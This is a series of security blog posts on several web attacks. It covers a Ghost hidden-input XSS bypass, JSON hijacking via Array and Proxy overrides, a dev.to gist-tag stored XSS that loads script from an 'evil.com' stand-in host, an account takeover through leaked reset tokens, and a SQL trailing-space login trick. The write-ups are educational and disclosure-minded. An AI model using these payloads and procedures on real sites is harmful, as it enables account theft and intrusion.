    req.body.subscribed_url = santizeUrl(req.body.subscribed_url);
    req.body.subscribed_referrer = santizeUrl(req.body.subscribed_referrer);
    // ...

Ghost added the sanitizeURL validation on the errorHandler.

function santizeUrl(url) {
    return validator.isEmptyOrURL(url || '') ? url : '';
}

Where isEmptyOrUrl checks if the URL is valid via the validator npm package, where ghost checks the isEmpty part, and then call the isUrl method of validator if it's not empty.

You might tell yourself:

Hey! A url can still contain a XSS, http://test.com/#><script> is a valid URL!

And you would be right!

Pretty much everything after the hash is technically a valid url, and can contain spaces and other symbols.

This does not work in this case as the validator package does not allow the <> characters.

The relevant part of the check is here:

export default function isURL(url, options) {
  assertString(url);
  if (!url || url.length >= 2083 || /[\s<>]/.test(url)) {
    return false;
  }
  if (url.indexOf('mailto:') === 0) {
    return false;
  }
  // ...

The /[\s<>]/ regex ensures that we don't send a less than or greater than symbol in the url, wherever it may be.

What we can do however it add spaces, quotes and other characters in the value, to add attributes to the tag.

If we have a look at the HTML in which our content is injected:

<input class="location" type="hidden" name="location" value=OUR_URL />

It is trivial to escape the value attribue. As there are no quotes around the value, adding a space works.

If there were quotes, as our content isn't sanitized for attribute position, we could add a quote and keep on going.

The reason why it is not a complete XSS like it previously was is because of the input type.

With a regular input, we could modify it to have this form:

<input class="location" type="text" name="location" value=x  onfocus="alert(document.domain)" autofocus />

Which would trigger the alert. But on a hidden input, as it's hidden we can't focus on it.
This makes it a lot harder to have an XSS, and the resulting XSS will require user actions unlike the previous versions.

Garet Hayes made a great blog post on the PortSwigger blog: XSS in hidden input fields, where setting an accesskey attribute and triggering it does launch the onclick event, even though the event is hidden.

Here is a proof of concept:

<input type="hidden" accesskey="X" onclick="alert(1)">

With this input, when the user presses ALT+SHIFT+X or CMD+ALT+X on OSX, the alert will launch.

This does make it almost worthless as an input since there is no chance a user will manually press those keys, but it's still a reflected XSS.

I have notified ghost of this bypass as well as the recommended solution on November 19th, but never received an answer.

Conclusion

Unlike other big CMS such as WordPress and Joomla, as Ghost is publisher-focused, most visitors on the website won't have an account.

On the other CMS, there are plugins to create new features such as making an e-commerce website, allow comments or write your own p osts, which allows the users to create accounts.

This limits the attack scope to public content, which makes it a lot more secure by default, as you can't access most of the internal API as a guest.

Overall, while the security team did take a very long time to fix this and using a weak solution, the security of the application from an external attacker is pretty good as the scope is very limited.

Follow me on Twitter if you want to learn more about security and keep up to date regarding my publications!

The next post will be about multiple stored XSS on Dev.to, which was caused by a logic bug in the publication platform.

If you can provide invitation for private programs on any platform, feel free to send me an invite! You can contact me via twitter, DM's are open.

Why Facebook's api starts with a for loop

Antony Garand — Tue, 13 Nov 2018 18:00:23 +0000

If you ever inspected your requests to big company's API's in the browser, you might have noticed some weird javascript before the JSON itself:

Facebook

Gmail

Why would they waste few bytes to invalidate this JSON?

To protect your data

Without those important bytes, it could be possible for any website to access this data.

This vulnerability is called JSON hijacking, and allows websites to extract the JSON data from those API's.

Origins

In JavaScript 1.5 and earlier versions, it was possible to override Primitive Object's constructor, and have this overwritten version called when using bracket notations.

This means you could do:

function Array(){
    alert('You created an array!');
}
var x = [1,2,3];

And the alert would popup!

Replace the var x with the following script, and the attacker could read your emails!

This works by overwriting the Array constructor before loading an external script.

<script src="https://gmail.com/messages"></script>

Data extraction

Even though you're overriding the constructor, the array is still constructed and you can still access it via this.

Here is a snippet which will alert all of the array data:

function Array() {
  var that = this;
  var index = 0;
  // Populating the array with setters, which dump the value when called
  var valueExtractor = function(value) {
    // Alert the value
    alert(value);
    // Set the next index to use this method as well
    that.__defineSetter__(index.toString(),valueExtractor );
    index++;
  };
  // Set the setter for item 0
  that.__defineSetter__(index.toString(),valueExtractor );
  index++;
}

Upon creating arrays, their values will be alerted!

This was fixed in the ECMAScript 4 proposal, as we now can no longer override the prototype of most primitives, such as Object and Array.

Even though ES4 was never released, this vulnerability was fixed by major browsers soon after its discovery.

You can still have similar behavior in today's javascript, but it is limited to variables you create, or item creations not using the bracket notation.

This would be the adapted version of the previous payload:

// Making an array
const x = [];

// Making the overwritten methods
x.copy = [];
const extractor = (v) => {
    // Keeping the value in a different array
    x.copy.push(v);
    // Setting the extractor for the next value
    const currentIndex = x.copy.length;
    x.__defineSetter__(currentIndex, extractor);
    x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
    // Logging the value
    console.log('Extracted value', v);
};

// Assigning the setter on index 0 
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);


// Using the array as usual

x[0] = 'zero';
x[1] = 'one';

console.log(x[0]);
console.log(x[1]);

And this would be a version using the Array keyword to create your array:

function Array(){
    console.log(arguments);
}

Array("secret","values");

As you can see, the data you added to the array was logged, while the functionality remains the same!

The fix itself was not to block the function Array creation in itself, but to force the bracket notation of item creations to use the native implementation, and not your custom function.

This means we can still create an Array function, but it won't be called with square brackets array creations ([1,2,3]).

It still will be called if we use the x = new Array(1,2,3) or x = Array(1,2,3) notation though, but this doesn't impact JSON hijacking.

Modern variations

Alright, so we know old versions of browsers were vulnerable a while ago.
What does this mean for us today?

Well, with the recent release of EcmaScript 6, new juicy features were added such as Proxies!

Gareth Heyes from Portswigger blogged out out a modern variation of this attack, which still lets us steal data from JSON endpoints!

Using Proxies instead of Accessors lets us steal any variable created, no matter what its name is.
It can behave like an accessor but for any accessed or written property.

Using this and another quirk, it is possible to steal data once again!

UTF-16BE is a multi-byte charset and so two bytes will actually form one character. If for example your script starts with [" this will be treated as the character 0x5b22 not 0x5b 0x22. 0x5b22 happens to be a valid JavaScript variable =). Can you see where this is going?

Using such a script:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

With a bit of controlled data from this script, as well as the practical bit-shifting script to make this legible again, we can exfiltrate data once again!

Here is his final edge POC, taken from his blog post:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

As I won't explain his method in depth, I strongly suggest you to read his post for more information.

Prevention

Here are the official OWASP recommendations, taken from their AJAX security cheat sheet

Use CSRF Protection
This prevents the exploit by not returning the data if a security header or csrf token is missing.
Always return JSON with an Object on the outside

This last solution is interesting.

In Firefox and IE, this is valid:

x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}

But this isn't:

{"key":"value"}

The reason why it is not valid is that browsers considers the brackets to be the start of a block statement, and not an object creation.
The notation without quotes, {key: "value"}, is considered a label, with the value being a statement.

[See edit: This is wrong] Chrome, unlike the others, considers those cases to be an object creation, and therefore it creates a new object.

Thanks Matt (r0x33d) for the help demystifying this!
// Detect dark theme var iframe = document.getElementById('tweet-1062227343350083584-40'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1062227343350083584&theme=dark" }

Update: Mathias Bynens from the V8 team pointed this out:

But the DevTools implicitly wrap your input code to make this work.

// Detect dark theme var iframe = document.getElementById('tweet-1062969191106412544-218'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1062969191106412544&theme=dark" }

This can be tested by evaluating the code instead of simply running it:

eval('{"x":"y"}');

This throws the same error on all browsers.

Chrome therefore correctly handles this input when in a raw script tag, even though the dev tools console might not have the same behavior.

Conclusion

While those vectors may not be working today, we never know what new bug tomorrow will bring, and therefore we should still do our best to prevent API's from being exploitable.
If we took this StackOverflow answer answer for granted, we would have been vulnerable to the modern variants, and therefore still possibly hacked.

Google and Facebook's answer has been to add invalid javascript or infinite loops before their JSON data, but there are few other alternatives as listed by OWASP.

References:

Haacked.com - JSON Highjacking

Stackoverflow - Why does google prepend [a loop] to their JSON responses

Portswigger - JSON highjacking for the modern web
And the slides of Gareth Heyes

What happens when you submit an article?

Antony Garand — Mon, 03 Sep 2018 15:38:50 +0000

Under the hood of dev.to (Part 1)

This article series will uncover the secrets of dev.to's source code, helping the world understand and improve this application.

The source code is available on github, and you get a cool badge for contributing!

Disclaimer: I don't know ruby, nor ruby on rails, so there might be parts of this post which are incorrect or lacking. Feel free to point these out and I'll do my best to correct them!

Introduction

Submitting an article is easy, right?

All you need to do is press the SAVE POST button, and there we go!

There is much more complexity to it, and in this post I'll uncover the magic happening behind the scenes!

Application overview

Dev.to uses Ruby On Rails for its back-end, and Preact on the front-end.

The back-end hosts a REST api, and the front-end uses those to access and publish data.

The front-end is a Single Page Application, but is also Server Side Rendered.

This means that if you access dev.to/new directly, the server will generate all of the HTML for you, ready for you browser to display it.
Then, whenever the bundled preact scripts are loaded, we gain the SPA functionality: When trying to access a new page, it will be fetched by JavaScript, and preact will update the page content with the received html.

Showing the new article view

Alright, so you want to write an article.

First, you head up to dev.to/new.

Ruby on rails check its route in /config/routes to find /new using the GET protocol.

This route tells it to load the articles controller, and the new method.

get "/new" => "articles#new"
get "/new/:template" => "articles#new"

get "/pod" => "podcast_episodes#index"
get "/readinglist" => "reading_list_items#index"

This controller can be found under /app/controllers/articles_controller.rb.

Before loading the new method, few permissions check will be executed.
Those are declared on top of the controller, and includes method such as ensured you are logged in and preventing banned users from creating articles.


class ArticlesController < ApplicationController
  include ApplicationHelper
  before_action :authenticate_user!, except: %i[feed new]
  before_action :set_article, only: %i[edit update destroy]
  before_action :raise_banned, only: %i[new create update]
  before_action :set_cache_control_headers, only: %i[feed]
  after_action :verify_authorized
// ...

Once those are done, the new method is called:

  def new
    @user = current_user
    @tag = Tag.find_by_name(params[:template])
    @article = if @tag&.submission_template.present? && @user
                 authorize Article
                 Article.new(body_markdown: @tag.submission_template_customized(@user.name),
                             processed_html: "")
               else
                 skip_authorization
                 if params[:state] == "v2" || Rails.env.development?
                   Article.new
                 else
                   Article.new(
                     body_markdown: "---\ntitle: \npublished: false\ndescription: \ntags: \n---\n\n",
                     processed_html: "",
                   )
                 end
               end
end

it is quite straightforward: It checks if you are using a template (Aka. using the path /new/:template), and loads either this template, or creates a generic Front Matter body.

The Article.new represents the New Article View, available under /app/views/articles/new.html.erb

<% title "New Article - DEV" %>

<% if user_signed_in? %>
  <% if params[:state] == "v2" || Rails.env.development? %>
    <%= javascript_pack_tag 'articleForm', defer: true %>
    <%= render 'articles/v2_form' %>
  <% else %>
    <%= render 'articles/markdown_form' %>
  <% end %>
<% else %>
  <%= render "devise/registrations/registration_form" %>
<% end %>

This loads the correct view based on our conditions, typically articles/markdown_form

<%= form_for(@article, html: {id:"article_markdown_form"}) do |f| %>
  <% if @article.errors.any? %>
    <div id="error_explanation">
      <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>

      <ul>
      <% @article.errors.full_messages.each do |message| %>
        <li><%= message %></li>
      <% end %>
      </ul>
    </div>
<% end %>

<!-- ... -->

This form renders the HTML you usually see when accessing dev.to/new, we're finally there!
The generated HTML is used as body in the /app/views/layouts/application.html.erb at some point in Ruby On Rails's magic.

Saving an article

Alright, you've written your awesome article about how good Ben Halpern's website is, and you now wish to publish it for everyone to see!

You've set the published value to true, and you press this big blue SAVE POST button. What happens then?

Your HTML was loaded, Preact loaded, and it listens to the click event for the SAVE button.

Front-end

We're now in the front-end code, under /app/javascript/article-form/articleForm.jsx.

The button itself is under elements/publishToggle.jsx, and our articleForm.jsx added an event listener for the click.

publishToggle.jsx:

<button onClick={onPublish}>
  {published ? 'SAVE CHANGES' : 'PUBLISH' }
</button>

articleForm.jsx:

<PublishToggle
  published={published}
  onPublish={this.onPublish}
  onSaveDraft={this.onSaveDraft}
  onChange={linkState(this, 'published')}
  // ...
/>

articleForm.jsx:

onPublish = e => {
  e.preventDefault();
  this.setState({submitting: true, published: true})
  let state = this.state;
  state['published'] = true;
  submitArticle(state, this.handleArticleError);
};

The submitArticle function is imported from ./actions.

actions.js - submitArticle

export function submitArticle(payload, errorCb, failureCb) {
  const method = payload.id ? 'PUT' : 'POST'
  const url = payload.id ? '/api/articles/'+ payload.id : '/api/articles'
  fetch(url, {
    // ...
    body: JSON.stringify({
      article: payload,
    })
  })
  .then(response => response.json())
  .then(response => {
    if (response.current_state_path) {
      window.location.replace(response.current_state_path);
    } else {
      errorCb(response)
    }
  })
  .catch(failureCb);
}

Therefore, once you click the SAVE ARTICLE button, the following happens:

An article is created based on the current state variable
The article is sent to /api/articles
Once the save is complete, we're redirect to its new URL.

We can now start digging into the back-end!

Back-end

We're now receiving an article from the front-end in the form of a JSON file, at the /api/articles route via a POST.

Routing

Once again, in the /config/routes.rb file, we need to search for our endpoint.

There is an api namespace which contains our articles resource.

A Ruby on Rails Resource maps few default CRUD verbs to their respective methods, so in our case the POST method will call the articles#create method.

routes.rb

namespace :api, defaults: { format: "json" } do
  scope module: :v0,
        constraints: ApiConstraints.new(version: 0, default: true) do
    resources :articles, only: %i[index show create update] do
      collection do
        get "/onboarding", to: "articles#onboarding"
      end
    end
    resources :comments
// ...

Controller

We now are in the /app/controllers/articles_controller, under the create method:

def create
  authorize Article
  @user = current_user
  @article = ArticleCreationService.
    new(@user, article_params, job_opportunity_params).
    create!
  redirect_after_creation
end

Service

This method calls the ArticleCreationService, which will create our article!

def create!
  raise if RateLimitChecker.new(user).limit_by_situation("published_article_creation")
  article = Article.new(article_params)
  article.user_id = user.id
  article.show_comments = true
  if user.organization_id.present? && article_params[:publish_under_org].to_i == 1
    article.organization_id = user.organization_id
  end
  create_job_opportunity(article)
  if article.save
    if article.published
      Notification.send_all(article, "Published")
    end
  end
  article.decorate
end

This services creates a new instance of the Article model, and saves it.

Model

With Ruby on Rails, our models are Active Records, and have a bit of magic attached to it.

While I won't dive into the database mapping part of the object, what I find interesting are the before methods, called when creating or saving an object.

before_validation :evaluate_markdown
before_validation :create_slug
before_create     :create_password
before_save       :set_all_dates
before_save       :calculate_base_scores
before_save       :set_caches
after_save :async_score_calc, if: :published

The before_validation methods will be called before ensuring the object is valid.

evaluate_markdown will convert our markdown to HTML
create_slug will create a most-likely unique slug for the URL
create_password will make a unique preview password value

The remaining methods should be quite explicit by their names.

The model will also perform many validations on its properties.

  validates :slug, presence: { if: :published? }, format: /\A[0-9a-z-]*\z/,
                   uniqueness: { scope: :user_id }
  validates :title, presence: true,
                    length: { maximum: 128 }
  validates :user_id, presence: true
  validates :feed_source_url, uniqueness: { allow_blank: true }
  validates :canonical_url,
            url: { allow_blank: true, no_local: true, schemes: ["https", "http"] },
uniqueness: { allow_blank: true }

Conclusion

Phew, this article is now saved! That was a lot of work for a simple action.

As a quick recap, to view an article, we load the correct Controller, which loads a View and renders it to the page.

When trying to perform CRUD operations, we find the correct route based on our API Resource, which loads a Controller. This controller can interact with the data using Services, themselves using Models to interact with the database.

Now that the technical side is covered, I would like to get some feedback on this post.

I have few objectives with this serie:

Help people navigate through big codebases and understand their architecture
Lower the contribution entry-barrier for open-source projects such as this website.

This is why feedback is important.
Did it help you understand the source?
Perhaps there is something specific you would like to see?

Please tell me in a comment below, and I'll do my best to improve this serie!

Pwned Together: Hacking dev.to

Antony Garand — Fri, 31 Aug 2018 01:12:20 +0000

Intro

After reading this great post regarding the source of Dev.to, I got inspired.
In order to celebrate my 500th follower on here, I gave myself the challenge to hack dev.to!

This website is open source

Josh Cheek ・ Aug 21 '18

#opensource

In the end, I found a stored XSS in a custom liquid tag. This means that if you viewed an infected blog post, I could have controlled your browser, and execute actions on your behalf!

Context

An XSS is a flaw in which a malicious user, in this case me, can inject javascript code into the page.
With JavaScript, specially in a single page application, I can do pretty much anything with your account on this website!

I could update your profile, publish new posts, like and comment on publications, and much more!

Having an XSS means I have full control of the website from the browser's perspective, and therefore is a pretty severe issue.

There are different type of XSS:

Reflected XSS: Requires the user to access a malicious link to be triggered. This means you would need to be redirected or to click a link in order for the exploit to be triggered.
Stored XSS: This is an XSS which is saved on the server, and therefore is presented by the website itself. This is the case of a specially crafted blog post. It is a lot more severe as it can be triggered by normal user behavior, and replicated for everyone.

As an example, a stored XSS was found on TweetDeck few years ago, where the malicious code was retweeting itself and ended up with a ridiculous amount of retweets:
// Detect dark theme var iframe = document.getElementById('tweet-476764918763749376-422'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=476764918763749376&theme=dark" }

Vulnerability

Original code

As mentioned on the Editor Guide, there are many custom Liquid Tags implemented in here. One of those was newly created by Josh in the mentioned blog post, so I decided to start there to check out for security issues!

The source for these liquid tags live under /app/liquid_tags folder.
Quickly, the gist interested me: The given tag was rendered directly into a script tag!

html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML

And there were many workarounds for its validation:

def valid_link?(link)
    link.include?("gist.github.com")
end

The usage for the gist link is the following in the documentation:

{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}

Adding .js gives us a script which creates a pretty embed around the content of the gist:

As the validation was not sufficient, only checking if the link contained gist.github.com, it could be bypassed:

{% gist //evil.com/script#gist.github.com %} would be converted into <script src="//evil.com/script#gist.github.com.js"></script>
The previous gist would therefore load an unsafe script on the blog post, making it a stored xss!

Once the dev.team was notified, they quickly released a patch by updating the valid_link function:

def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end

Bypass 1

This patch ensured that the given link started with http[s]://gist.github.com.
While better than the previous validation, this is still not sufficient to protect against attacks!

The following two domains would pass this validation, but still load an external script:

The first one uses the Basic Authentication Scheme and sends gist.github.com as username to the evil.com website.

The second one is simply a subdomain of evil.com.

This issue was quickly fixed by adding a required trailing slash after gist.github.com, which correctly mitigates this issue.

def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end

Bypass 2

The previous patch made sure that the domain requested was gist.github.com, which is great!

But there still was a bypass possible due to the nature of the website.

When viewing raw gist files, in this case poc.js, the raw link is from the following format: https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]

When replacing the domain gist.githubusercontent.com with gist.github.com, we are actually redirected to the original githubusercontent.com domain!
This means that the raw file poc.js from my gist can be accessed from:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js

Notice the domain on the second URL: gist.github.com

This correctly bypasses the given patch as the raw file would be served from the gist.github.com domain.

The patch was successfully applied earlier today, by forcing the given gist to a more strict regex: Commit

  def valid_link?(link)
    (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
      zero?
  end

Conclusion

After disclosing the original bug, following the dev.to bug bounty program, the dev team was quick to react and patch those bugs.
I managed to earn myself a place in the security hall of fame, a sweet 150$ bounty and a pack of stickers.

By having the source code available and a bug bounty program, many more people will scan the websites for issues, which makes the website more secure.

Finally, the overall experience has been great!
I would strongly recommend everyone to checkout the source code, report bugs and security issues you find and submit pull requests improving the general security of the website.

If you're looking for somewhere to start, your first commit could be as simple as replacing http links with https!

From data leak to account takeover

Antony Garand — Tue, 07 Aug 2018 14:02:48 +0000

Introduction

While browsing the web, I ended up finding a startup which recently launched its product. Like any normal person, I decided to perform a security audit to hopefully find vulnerabilities!

In this post, I will write about the journey, from the initial leak of my account information to complete arbitrary account takeover.

For the purpose of this post, all identifiable information was replaced with mocked data.

Information leak

When accessing the app for the first time, you could create an account.
Creating an account did let you access your own profile, which contains few typical profile fields such as a name, email and profile picture.

The fields visible on the screen are not the only ones returned by the api though.
When initially loading the page, a GET request would be made to the api to access our user information.
This endpoint, /api/user, would also return what I believe is the whole stored document, including its private information.

{
  "user": {
    "_id": "UUID",
    "name": "My Name",
    "role": "Other",
    "email": "test@email.invalid",
    "emailVerified": false,
    "emailVerificationToken": "t3gauljva4dbu8zyn1xp6u",
    "password": "$2a$10$HsQX/kYcnyly.oaykq5RxuC/IOrpSOVQnaPM18.NNxfkU/AFYaTzG",
    "signupDate": "2018-07-11T20:39:31.070Z",
    // ...
  },
  "teamInfo": {/* ... */ }
}

Already, you can see that the password hash is beeing leaked, which is quite the security issue!

Leaking the hash lets hackers attempt to validate the password on their own machines, without any rate limits or logging mechanism in place. This makes it easier to bruteforce and impossible to detect!

Email validation

From the previous information leak, you may have noticed the emailVerificationToken key on the user object.

Having access to this token means I could validate any email, as long as I have access to the validation URL and the leaked token.

To try this out, I changed out the email for a valid one and received a genuine email validation link:

Thanks for signing up! To complete the sign-up process, please click the link below to verify your email:
https://app.sample.com/verify/1234tokenhere

Now that I have the email validation link, I changed my email to one I did not control, such as admin@application.com.

Once my user profile updated, all I had to do was leak the new email token and verify my new email!

Password recovery

When forgetting your password, a typical scenario is to enter your email, which then receives a password reset link.
From this password reset link, you can enter an arbitrary new password, and log into your account!

This application is not different, although it did not correctly protect its password reset tokens!

While the field was not present in the previously returned JSON, I did notice it was added when I triggered the first password reset request.

Like with the email verification link, I could therefore craft a valid password reset link myself!

Teams

Until now, all we could do was only affecting our own user. Fortunately, looking closely at the previously leaked information, one may notice there is not only our own information returned, but also our team information!

We can create and manage teams from the application, and all of the team data will be leaked as well.

{
  "user": { /* ... */
  },
  "teamInfo": {
    "owner": { /* ... */ },
    "name": "Sample team",
    "admins": [ /* ... */ ],
    "members": [ /* ... */ ]
  }
}

The interesting part of the team leak is regarding the owner and members fields.

When being added into a team, I could therefore leak the team owner and all of its member's password reset tokens!

But this still limits the scope of the attack to members of our team, and we can do better than this.

When owning a team, we can invite team members via their emails, and there is no confirmation required from the invited user.

This means that as a newly registered user, I can perform the following steps to overtake any account:

Perform a password change request for my target
Create a new team
Invite my target
Leak the password reset token via my team information
Change my victim's password

As well as change and validate a new invalid email for this user, which would lock them out of their account.

Conclusion

It is easy to send too much data to our front-end, but we need to be cautious about the sensible information which is stored.
In this case, giving out too much information about a user led to a complete account takeover!

SQL: Where spaces may not matter

Antony Garand — Sat, 28 Jul 2018 20:51:55 +0000

Introduction

Here is the source to a voluntarily vulnerable application:

https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter

It will soon be added as a challenge on the pwnfixrepe.at website, where you can work on fixing such security issues.

Your mission, if you accept it, is to login as administrator on the application.

If you wish to skip to the details, head to the solution section.

Application

The application itself is quite simple.

There are three features: Log in, log out and register.

Here is what the table look likes: (Source)

CREATE TABLE `users` (
  `id` int(11) PRIMARY KEY,
  `username` varchar(20) NOT NULL,
  `password` varchar(255) NOT NULL,
  `description` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

INSERT INTO `users` (`id`, `username`, `password`, `description`) VALUES (1, 'admin', '$up3rS3cr3tP4$$w0rd!', 'You are admin!');

All of those features are using prepared statements and are not vulnerable to SQL injection, such as with the following login function: (Source)

function login() {
    global $db;
    if ( /* user or pass empty or not string */ ) {
        return false;
    }
    $query = $db->prepare('SELECT * FROM users WHERE username = :username and password = :password');
    $query->bindParam(':username', $_POST['user']);
    $query->bindParam(':password', $_POST['pass']);
    $query->execute();
    $result = $query->fetch();
    if ($result) {
        $_SESSION['username'] = $result['username'];
        echo 'Logged in succesfully!';
    } else {
        echo 'Invalid credentials!';
    }
}

Finally, if the current user is logged in, we show a greeting message:

/* if current user is logged in */ 
{ ?>
    <div>
        Welcome back, <?= htmlspecialchars($currentUser['username']) ?>!<br/>
        <?= $currentUser['description'] ?>
    </div>
    <!-- ... -->
    <?php
}

Analysis

The vulnerability is not within PHP, but rather is caused by SQL itself, and many bad design decisions with the vulnerable application.

Here are few observations on the users table:

The username is not unique
The username is a varchar of length 20

And on the application itself:

The logged in user is based off the username

// If login success: 
$_SESSION['username'] = $result['username'];

You can only register a user if the username isn't already taken

if (selectUser($_POST['user'])) {
    echo 'Username already taken!';
    return false;
}

Solution

Comparing strings in SQL is interesting.

What would you expect the following statement to be?

SELECT * FROM (select 1) as t WHERE 'x' = 'x '

Unlike what many would expect, the 'x' = 'x ' condition is true!

In SQL, when comparing two strings, the shortest one is padded with spaces until they are of equal length.
This does effectively mean that trailing spaces are useless in regular string comparisons!

This is defined in the comparison operator in the SQL spec:

a) If the length in characters of X is not equal to the length in characters of Y, then the shorter string is effectively replaced, for the purposes of comparison, with a copy of itself that has been extended to the length of the longer string by concatenation on the right of one or more pad characters, where the pad character is chosen based on CS. If CS has the NO PAD attribute, then the pad character is an implementation-dependent character different from any character in the character set of X and Y that collates less than any string under CS. Otherwise, the pad character is a <space>.

The key to successfully exploit the application is resides in this particularity.

The first thing we need to do is create a new user, with the same name as "admin".

We can do this by entering a username which starts with admin, padded with spaces until the column size of 20, and a non-space character.

This will pass the username exists condition, as the given username will not exist.

When inserting the new user, as the column has a 20 character limit, the value will be truncated to 20 characters and therefore be admin, with trailing spaces.
Note that this would not be possible if the column was unique, as we would get a duplicate entry message.

The second step is to login, with the admin username and our created user's password.

As the sql table now has two users, the regular admin and our fake one, the login query will work and select our new user.

Finally, as the application finds the currently logged in user based on its username, it select the first user with the admin username. This means it will select the admin user instead of our own, and we can now steal the admin secret!

Conclusion

Security issues are only bugs in your application.

Like regular bugs, you can limit their quantity by maintaining high quality code.
In this application, marking the username column unique, using the id to identify the current user or performing length validation beforehand would have prevented the issue.